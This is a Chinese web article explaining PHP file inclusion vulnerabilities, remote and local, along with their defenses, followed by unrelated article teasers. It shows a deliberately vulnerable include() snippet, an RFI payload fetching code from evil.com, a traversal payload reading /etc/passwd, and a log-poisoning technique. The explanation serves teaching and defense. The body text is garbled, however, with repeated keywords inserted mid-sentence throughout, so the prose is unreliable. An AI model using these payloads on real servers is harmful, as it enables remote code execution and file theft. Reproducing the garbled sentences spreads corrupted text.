您现在的位置是:休闲 >>正文
简述文件包含漏洞的概念
休闲2935人已围观
简介文件包含漏洞说白了就一句话:代码里用来“引入文件”的那个函数,被用户塞了不该塞的东西进去,结果服务器老老实实把那个文件当代码执行了。这事在PHP里最常见,因为PHP提供了include()、requi ...
文件包含漏洞说白了就一句话:代码里用来“引入文件”的简述那个函数,被用户塞了不该塞的文件东西进去,结果服务器老老实实把那个文件当代码执行了。包含这事在PHP里最常见,漏洞因为PHP提供了include()、简述require()这类函数,文件设计初衷是包含好的——让开发者可以把公共代码抽出来复用。问题出在参数没管住的漏洞时候。
举个具体的简述例子。假设有个页面叫index.php,文件里面写着:
<?包含php $page = $_GET['page']; include($page . '.php'); ?> 开发者想的是,用户传个?漏洞page=about,那就加载about.php,简述传?文件page=contact就加载contact.php。逻辑上没毛病。包含但如果有人传?page=http://evil.com/shell,那include就会去远程拉取那个文件,然后执行里面的PHP代码。服务器上的大门就这么敞开了。
这种叫远程文件包含,简称RFI。前提是PHP配置里allow_url_include得是开着的。这选项默认是关的,但总有人图方便把它打开,或者老版本的PHP根本没这个限制。RFI一旦成功,攻击者等于拿到了一个远程代码执行的入口,想干嘛干嘛。
还有一种是本地文件包含,LFI。传不了远程地址,那就传服务器本地的路径。比如?page=../../../../etc/passwd,配合路径穿越,能把系统文件读出来。读文件本身危害有限,但如果能包含服务器上的日志文件、session文件、上传的图片马,那就又绕回了代码执行。我见过一个案例,攻击者先在User-Agent里写入PHP代码,日志文件记录了这个UA字符串,然后通过LFI包含日志文件,代码就被执行了。两步组合拳,防不胜防。
为什么这种漏洞反复出现?我觉得跟开发习惯有关。include这种写法太顺手了,很多教程一上来就这么教,新手跟着学,根本不知道参数需要过滤。而且这类漏洞的利用门槛不算高,稍微懂点HTTP和路径知识就能试。CTF比赛里文件包含几乎是必考题型,也从侧面说明它的普遍性。
防御其实不复杂。最直接的办法就是别让用户控制include的路径。如果业务确实需要动态包含,用白名单——只允许几个固定的值,比如switch($page){ case 'about': include('about.php'); break; ... }。别用黑名单去过滤../或者http://,绕过手法太多了,编码、大小写、双写,防不住。另外,PHP配置里allow_url_include保持关闭,open_basedir限制一下目录范围,都能增加利用难度。
说到底,文件包含漏洞的本质是信任边界出了问题。开发者信任了用户的输入,把它直接拼进了文件路径里。任何把用户输入当代码或路径用的地方,都得绷紧这根弦。
Tags:
相关文章
幕后视频素材网站
休闲打开任何一个视频剪辑师的电脑,你会发现一个秘密:他们硬盘里最值钱的东西,不是自己拍的素材,而是一堆从没露过脸的“幕后英雄”。 这些素材来自像Artgrid、Mazwai这样的网站。你花几百块买个月费, ...
【休闲】
阅读更多咨询网贷的有关部门
休闲上个月我表弟打来电话,声音发虚,说他在七个平台上借了钱,现在拆东墙补西墙已经转不动了。我问他当初怎么找到这些平台的,他说刷短视频时弹出的广告,点进去填了身份证和通讯录,钱就到账了。我问他有没有看过利率 ...
【休闲】
阅读更多十大网络推广公司
休闲去年帮一个做宠物用品的朋友看后台数据,他发现70%的订单来自小红书上一篇素人笔记。那篇笔记不是他写的,是杭州一家推广公司安排的。他付了3万块,对方找了20个养猫的普通用户,每人发一篇使用体验。没有大V ...
【休闲】
阅读更多